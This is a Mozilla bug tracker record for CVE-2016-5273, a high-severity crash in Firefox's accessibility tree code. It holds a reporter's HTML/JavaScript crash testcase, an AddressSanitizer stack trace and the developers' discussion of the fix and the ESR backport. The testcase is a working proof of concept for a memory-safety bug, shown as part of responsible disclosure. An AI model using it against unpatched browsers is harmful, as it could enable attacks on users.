Closed Bug 1280387 (CVE-2016-5273) Opened 4 years ago Closed 3 years ago

SEGV in mozilla::a11y::HyperTextAccessible::GetChildOffset

Categories

(Core :: Disability Access APIs, defect, P1)

50 Branch
defect

Tracking

()

VERIFIED FIXED
mozilla50
Tracking Status
firefox47 --- wontfix
firefox48 --- affected
firefox49 --- verified
firefox-esr45 --- unaffected
firefox50 --- verified

People

(Reporter: nils, Assigned: surkov)

References

Details

(Keywords: crash, sec-high, testcase, Whiteboard: [adv-main49+]fixed by bug 1286598; latent until bug 1255009)

The testcase crashes the latest asan build of Firefox (BuildID=20160613161626) as follows.

crash.html:
<script>
var c=0;
function start() {
        o0=document;
        o8=document.documentElement;
        o0.designMode='on';
        o187=document.createElement('iframe');
        o8.appendChild(o187);
        o195=document.createElement('iframe');
        o195.addEventListener('load', f1, false);
        o260=document.createElement('frame');
        o273=o187.contentWindow;
        o274=o273.document;
        t=o274.getElementsByTagName('*');
        o276=t[0];
        o276.appendChild(o195);
        document.replaceChild(o274.documentElement,document.documentElement);
        o490=document.createElement('frameset');
        o490.setAttribute('cols','*,*,*,1%,*,*,77,8,*,-81920,*,');
        document.body=o490;
        o490.appendChild(o260);
        o561=document.createElement('frame');
        o562=document.createElement('frame');
        o640=document.documentElement;
        o490.appendChild(o561);
}
function f1() {
        if(c++==0) {
                o761=document.body;
                window.top.document.body=o761;
                o0.removeChild(o640);
                o0.appendChild(o640);
                window.top.setTimeout(f2, 4);
        } else {
                window.top.document.body=o490;
                o490.appendChild(o562);
                window.setTimeout("location.reload()",10);
        }
}
function f2() {
        o260.appendChild(o561);
}
</script>
<body onload="start()"></body>

ASAN:SIGSEGV
=================================================================
==21316==ERROR: AddressSanitizer: SEGV on unknown address 0x60240020b990 (pc 0x7f4ea01050ff sp 0x7fffa5ea0490 bp 0x7fffa5ea04d0 T0)
    #0 0x7f4ea01050fe in mozilla::a11y::HyperTextAccessible::GetChildOffset(unsigned int, bool) const /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/generic/HyperTextAccessible.cpp:2035
    #1 0x7f4ea008c3c8 in AsHyperText /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/generic/HyperTextAccessible.h:266
    #2 0x7f4ea008c3c8 in mozilla::a11y::EventTree::Mutated(mozilla::a11y::AccMutationEvent*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/base/EventTree.cpp:521
    #3 0x7f4ea0089421 in mozilla::a11y::EventTree::Shown(mozilla::a11y::Accessible*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/base/EventTree.h:68
    #4 0x7f4ea008910d in mozilla::a11y::TreeMutation::AfterInsertion(mozilla::a11y::Accessible*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/base/EventTree.cpp:113
    #5 0x7f4ea011d80f in mozilla::a11y::DocAccessible::ProcessContentInserted(mozilla::a11y::Accessible*, nsTArray<nsCOMPtr<nsIContent> > const*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/generic/DocAccessible.cpp:1792
    #6 0x7f4ea00976cc in mozilla::a11y::NotificationController::WillRefresh(mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/base/NotificationController.cpp:233
    #7 0x7f4e9ef62b5f in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:1712
    #8 0x7f4e9ef70bfb in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:251
    #9 0x7f4e9ef707e0 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:270
    #10 0x7f4e9ef6fcc4 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:430
    #11 0x7f4e9f8c5060 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/ipc/VsyncChild.cpp:64
    #12 0x7f4e995d132a in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:240
    #13 0x7f4e990cf981 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1963
    #14 0x7f4e99003303 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1658
    #15 0x7f4e9900005a in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1596
    #16 0x7f4e98fed185 in mozilla::ipc::MessageChannel::OnMaybeDequeueOne() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1563
    #17 0x7f4e990131b0 in applyImpl<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::*)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:722
    #18 0x7f4e990131b0 in apply<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::*)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:728
    #19 0x7f4e990131b0 in nsRunnableMethodImpl<bool (mozilla::ipc::MessageChannel::*)(), false, true>::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:756
    #20 0x7f4e99013c7f in Run /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:476
    #21 0x7f4e99013c7f in mozilla::ipc::MessageChannel::DequeueTask::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:495
    #22 0x7f4e9826c7c4 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:1029
    #23 0x7f4e982e76aa in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290
    #24 0x7f4e9900a82e in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:100
    #25 0x7f4e98f793fc in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235
    #26 0x7f4e98f793fc in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228
    #27 0x7f4e98f793fc in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208
    #28 0x7f4e9e8e1617 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156
    #29 0x7f4ea0965732 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:826
    #30 0x7f4e98f793fc in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235
    #31 0x7f4e98f793fc in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228
    #32 0x7f4e98f793fc in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208
    #33 0x7f4ea0964e2c in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:656
    #34 0x48d557 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:224
    #35 0x7f4e95a9182f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #36 0x48c49c in _start (/home/nils/fuzzer3/firefox/plugin-container+0x48c49c)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/generic/HyperTextAccessible.cpp:2035 mozilla::a11y::HyperTextAccessible::GetChildOffset(unsigned int, bool) const
==21316==ABORTING
Group: core-security → dom-core-security
Flags: sec-bounty?
Going to guess sec-high like the others Nils has filed in this area. David, can you assign someone to look into this please?
Flags: needinfo?(dbolter)
Keywords: sec-high
Assignee: nobody → surkov.alexander
Flags: needinfo?(dbolter)
Priority: -- → P1
alexander: what's the status of this bug?
Flags: needinfo?(surkov.alexander)
I expect bug 1286598 to fix this one, at least I wasn't seeing the crash when its patch was applied.
Flags: needinfo?(surkov.alexander)
no crash for me with bug 1286598 fixed. I believe that bug existed for years, but the crash was revealed by bug 1255009 or its companions. Should I request there uplifting to aurora and beta, referring to this bug? Should I mark that bug as security one too?
Daniel, can you give your opinion on comment #4?
Flags: needinfo?(dveditz)
(In reply to alexander :surkov from comment #4)
> no crash for me with bug 1286598 fixed. I believe that bug existed for
> years, but the crash was revealed by bug 1255009 or its companions. Should I
> request there uplifting to aurora and beta, referring to this bug? Should I
> mark that bug as security one too?

I don't think so. I think you could request a regular uplift over on that bug (seems like a safe patch). Let's wait for Dan to confirm...
No need to flag the other bug as a security bug, just request uplift
Depends on: 1286598
Flags: needinfo?(dveditz)
Keywords: crash, testcase
Whiteboard: fixed by bug 1286598
fixed by bug 1286598
Status: NEW → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla50
Group: dom-core-security → core-security-release
Nils: is this bug fixed to your satisfaction?
Flags: needinfo?(nils)
I can confirm that the testcase doesn't crash the latest builds anymore. I have also not seen the crash signature during recent fuzzing runs.
Flags: needinfo?(nils)
Flags: sec-bounty? → sec-bounty+
I'm not able to reproduce the crash on mozilla-central-linux64-asan builds from 2016-06-13 and 2016-06-16.
Nils, could you please also test the following builds:
http://archive.mozilla.org/pub/firefox/tinderbox-builds/mozilla-release-linux64-asan/1473105865/
http://archive.mozilla.org/pub/firefox/tinderbox-builds/mozilla-esr45-linux64-asan/1473105865/
Flags: needinfo?(nils)
Why is this marked as being fixed in ESR45, David? bug 1286598 was only fixed on 49.
Flags: needinfo?(dbolter)
Whiteboard: fixed by bug 1286598 → [adv-main49+] fixed by bug 1286598
Whiteboard: [adv-main49+] fixed by bug 1286598 → [adv-main49+][adv-esr45.4+] fixed by bug 1286598
I can confirm that I can't reproduce the crash on both builds.
Flags: needinfo?(nils)
Thank you.
Status: RESOLVED → VERIFIED
(In reply to Al Billings [:abillings] from comment #14)
> Why is this marked as being fixed in ESR45, David? bug 1286598 was only
> fixed on 49.

PEBKAC :)  Thanks for catching that.
Flags: needinfo?(dbolter)
Whiteboard: [adv-main49+][adv-esr45.4+] fixed by bug 1286598 → [adv-main49+]fixed by bug 1286598
Alias: CVE-2016-5273
Do we need to fix this on ESR? according to comment 4 this has existed for years so we can't call it "unaffected".
Blocks: 1255009
Flags: needinfo?(dbolter)
Whiteboard: [adv-main49+]fixed by bug 1286598 → [adv-main49+]fixed by bug 1286598; latent until bug 1255009
(In reply to Daniel Veditz [:dveditz] from comment #18)
> Do we need to fix this on ESR? according to comment 4 this has existed for
> years so we can't call it "unaffected".

Yeah. Alex can you weigh in on risk for esr uplift and do the approval request?
Flags: needinfo?(dbolter) → needinfo?(surkov.alexander)
(In reply to David Bolter [:davidb] from comment #19)
> (In reply to Daniel Veditz [:dveditz] from comment #18)
> > Do we need to fix this on ESR? according to comment 4 this has existed for
> > years so we can't call it "unaffected".
> 
> Yeah. Alex can you weigh in on risk for esr uplift and do the approval
> request?

it feels like a big change, that may affect on performance and info we expose to the assistive technologies. I'd say to skip it, until risks of revealing the sec issue are high.
Flags: needinfo?(surkov.alexander)
Making sure this is on Dan's radar for making a final call here.
Flags: needinfo?(dveditz)
[Tracking Requested - why for this release]:

I don't know how to interpret "until risks of revealing the sec issue are high." We will be announcing that we fixed the problem (vaguely) when we ship 49, and the patch will be available.

The patch itself looks relatively straightforward and small, but I don't know what the actual impact will be on assistive tech. What did you mean in comment 4 by "the crash was revealed by bug 1255009 or its companions"? Did you mean simply that those fixes changed things such that the specific testcase in this bug could trigger the faulty path (but that there may be other ways to get there), or did you mean that until those changes it wasn't possible to create the conditions for this bug?
Flags: needinfo?(dveditz) → needinfo?(surkov.alexander)
Note that Nils (the reporter) confirmed in comment 15 that the bug is not reproducible on latest esr asan build.
in comment 4 I referred to accessible tree update bug (which existed for years), not this one specifically. I'm not 100% sure if it's possible to create similar conditions on moz45 (stack will be different, but start and end points in the stack may be same on both 45 and 49). However if the original test doesn't crash on moz45, then does it add us some confidence that the patch shouldn't be backported?

agreed, the patch itself is relatively small, but touches accessible tree update, which is complicated code in general, and pushing changes like this into esr may be scary, taking into account how 49 may differ from 45 in code base.
Flags: needinfo?(surkov.alexander)
Let's call this "unaffected" on ESR then for lack of a better term. The problem might be latent on the branch but we don't know of a way to trigger it.
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.